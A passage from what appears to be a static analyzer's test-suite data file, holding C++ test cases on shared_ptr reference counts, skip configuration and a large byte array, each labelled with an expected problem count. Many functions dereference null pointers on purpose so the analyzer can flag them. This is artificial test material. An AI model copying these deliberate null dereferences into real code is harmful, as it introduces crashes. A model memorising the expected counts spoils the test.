x;\n std::shared_ptr y(x);\n if (x.use_count() == 0) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor2_bad() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n if (*y == 42 && y.use_count() == 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor3_bad() {\n auto p = new int(1);\n auto q = new int(2);\n std::shared_ptr x(p);\n std::shared_ptr y(q);\n y = x;\n return *q;\n}\n\nint assignment0_bad() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y;\n y = x;\n if (*x == 42) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count0_ok() {\n std::shared_ptr x(new int(42));\n if (x.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count1_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n if (x.use_count() != 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count2_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n std::shared_ptr z(x);\n if (x.use_count() != 3) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count3_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n std::shared_ptr z(y);\n if (x.use_count() != 3) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count4_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n std::shared_ptr z;\n z = y;\n if (x.use_count() != 3) {\n // Should not report a NPE here as the ref count is 3\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count0_bad() {\n std::shared_ptr x;\n if (x.use_count() == 0) {\n // Should report a NPE here as the ref count is 0\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count1_bad() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n std::shared_ptr z;\n z = y;\n if (x.use_count() == 3 && *z == 42) {\n // Should report a NPE here as the ref count is 3\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count2_bad() {\n std::shared_ptr x(new int(42));\n { std::shared_ptr y(x); }\n if (x.use_count() == 1 && *x == 42) {\n // Should report a NPE here as the ref count is 1\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint use_count3_bad() {\n std::shared_ptr x(new int(42));\n {\n std::shared_ptr y(x);\n { std::shared_ptr z(y); }\n if (x.use_count() == 2 && *y == 42) {\n // Should report a NPE here as the ref count is 2\n int* q = nullptr;\n return *q;\n }\n }\n return 0;\n}\nint use_count4_bad() {\n std::shared_ptr x(nullptr);\n if (x.use_count() == 0) {\n // Should report a NPE here as the ref count is 0\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get0_ok() {\n int* p = new int(42);\n std::shared_ptr x(p);\n if (x.get() != p) {\n // Should not report a NPE here as x contains the pointer p\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get1_ok() {\n std::shared_ptr x;\n int* p = x.get(); // no dereference\n if (p) {\n // Should not report a NPE here as p points to nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get0_bad() {\n int* p = new int(42);\n std::shared_ptr x(p);\n if (x.get() == p) {\n // Should not report a NPE here as x contains the pointer p\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get1_bad() {\n std::shared_ptr x;\n int* p = x.get(); // no dereference\n if (!p) {\n // Should report a NPE here as p points to nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint reset_ptr_ok() {\n std::shared_ptr x(new int(10));\n x.reset();\n return 42;\n}\n\nint reset_ptr_use_count0_bad() {\n std::shared_ptr x(new int(10));\n x.reset();\n if (x.use_count() == 0) {\n int* q = nullptr;\n return *q;\n }\n return 42;\n}\n\nint reset_ptr_use_count1_bad() {\n auto p = new int(5);\n std::shared_ptr x(p);\n std::shared_ptr y(x);\n y.reset();\n if (x.use_count() == 1) {\n int* q = nullptr;\n return *q;\n }\n return 42;\n}\n\nint reset_ptr_use_count2_bad() {\n auto p = new int(5);\n std::shared_ptr x(p);\n std::shared_ptr y(x);\n y.reset();\n if (y.use_count() == 0) {\n int* q = nullptr;\n return *q;\n }\n return 42;\n}\n\nint reset_ptr_deref1_ok() {\n std::shared_ptr x;\n x.reset();\n x.reset(new int);\n return *x;\n}\n\nint shared_ptr_move_deref_ok() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2 = std::move(p1);\n return *p2;\n}\n\nint shared_ptr_move0_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2 = std::move(p1);\n return *p1;\n}\n\nint shared_ptr_move_count0_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2;\n p2 = std::move(p1);\n if (p2.use_count() == 1) {\n int* q = nullptr;\n return *q;\n }\n return *p2;\n}\n\nint shared_ptr_move_count1_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2;\n p2 = std::move(p1);\n if (p1.use_count() == 0) {\n int* q = nullptr;\n return *q;\n }\n return *p2;\n}\n\nint shared_ptr_move_deref_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2;\n p1 = std::move(p2);\n return *p1;\n}\n\nstruct Foo : public std::enable_shared_from_this {\n Foo() {}\n ~Foo() {}\n std::shared_ptr getFoo() { return shared_from_this(); }\n};\n\nint FP_shared_from_this_ok() {\n Foo* f = new Foo;\n int* q = nullptr;\n std::shared_ptr pf1;\n {\n std::shared_ptr pf2(f);\n pf1 = pf2->getFoo(); // shares ownership of object with pf2\n if (pf2.use_count() !=\n 2) { // should not report a NPE here as the ref count is 2\n return *q;\n }\n }\n if (pf1.use_count() != 1) {\n // pf2 is out of scope\n // should not report a NPE here as the ref count is 1\n return *q;\n }\n return 0;\n}\n\nint FN_shared_from_this_bad() {\n Foo* f = new Foo;\n int* q = nullptr;\n std::shared_ptr pf1;\n {\n std::shared_ptr pf2(f);\n pf1 = pf2->getFoo();\n if (pf2.use_count() == 2 && pf1.use_count() == 2) {\n // should report a NPE here as pf1, pf2 share ownership of f\n return *q;\n }\n }\n return 0;\n}\n\ntemplate \nclass PrimaryPtr {\n public:\n std::shared_ptr lock() const {\n if (auto res = weak.lock()) {\n return *res;\n }\n return nullptr;\n }\n\n private:\n std::weak_ptr> weak;\n};\n\nvoid lock_primary_ptr_ok(PrimaryPtr primary) {\n auto x = primary.lock();\n}\n\nint call_static_pointer_cast_ok() {\n std::shared_ptr x(new X(42));\n int* p = &std::static_pointer_cast(x)->field;\n return *p;\n}\n} // namespace shared_ptr_semantics\n" + }, + { + "testname": "skip_config.cpp", + "testlanguage": "c++", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace skip_model {\nstruct SkipAll {\n int* foo() { return nullptr; }\n static int* goo() { return nullptr; }\n};\n\ntemplate \nstruct SkipSome {\n int* skip_me(int**) { return nullptr; }\n static int no_skip() { return 42; }\n};\n\nvoid test_config_no_skip_ok() {\n if (SkipSome>::no_skip() != 42) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid test_config_skip_me_ok() {\n int* may_be_mutated = nullptr;\n int* p = nullptr;\n SkipSome> x;\n p = x.skip_me(&may_be_mutated);\n *p = 42;\n *may_be_mutated = 42;\n}\n} // namespace skip_model\n\nnamespace skip_another_namespace {\nvoid test_config_foo_ok() {\n int* p = nullptr;\n skip_model::SkipAll x;\n p = x.foo();\n *p = 42;\n}\nvoid test_config_goo_ok() {\n int* p = skip_model::SkipAll::goo();\n *p = 42;\n}\n\n} // namespace skip_another_namespace\n" + }, + { + "testname": "slow.cpp", + "testlanguage": "c++", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// make sure pulse doesn't take too long to analyze this\nconst unsigned char huge_array[8192] = {\n 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,\n 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,\n 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,\n 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,\n 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,\n 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,\n 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,\n 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,\n 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,\n 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,\n 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,\n 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,\n 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,\n 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,\n 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,\n 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,\n 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,\n 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,\n 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,\n 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,\n 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,\n 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b,\n 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,\n 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43,\n 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,\n 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b,\n 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,\n 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,\n 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,\n 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b,\n 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,\n 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3,\n 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,\n 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb,\n 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,\n 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3,\n 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,\n 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,\n 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,\n 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03,\n 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,\n 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b,\n 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,\n 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33,\n 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,\n 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b,\n 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,\n 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63,\n 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,\n 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b,\n 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,\n 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93,\n 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,\n 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab,\n 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,\n 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3,\n 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,\n 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb,\n 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,\n 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3,\n 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,\n 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,\n 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,\n 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,\n 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,\n 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,\n 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,\n 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,\n 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,\n 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,\n 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,\n 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,\n 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,\n 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,\n 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,\n 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,\n 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,\n 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,\n 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,\n 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,\n 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,\n 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,\n 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b,\n 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,\n 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43,\n 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,\n 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b,\n 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,\n 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,\n 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,\n 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b,\n 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,\n 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3,\n 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,\n 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb,\n 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,\n 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3,\n 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,\n 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb,\n 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,\n 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03,\n 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,\n 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b,\n 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,\n 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33,\n 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,\n 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b,\n 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,\n 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63,\n 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,\n 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b,\n 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,\n 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 0x90, 0x91, 0x92, 0x93,\n 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,\n 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab,\n 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,\n 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3,\n 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,\n 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb,\n 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,\n 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3,\n 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,\n 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,\n 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,\n 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,\n 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,\n 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,\n 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,\n 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,\n 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,\n 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,\n 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,\n 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,\n 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,\n 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,\n 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,\n 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,\n 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,\n 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,\n 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,\n 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,\n 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,\n 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,\n 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13,\n 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b,\n 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,\n 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43,\n 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,\n 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b,\n 0x5c, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,\n 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,\n 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 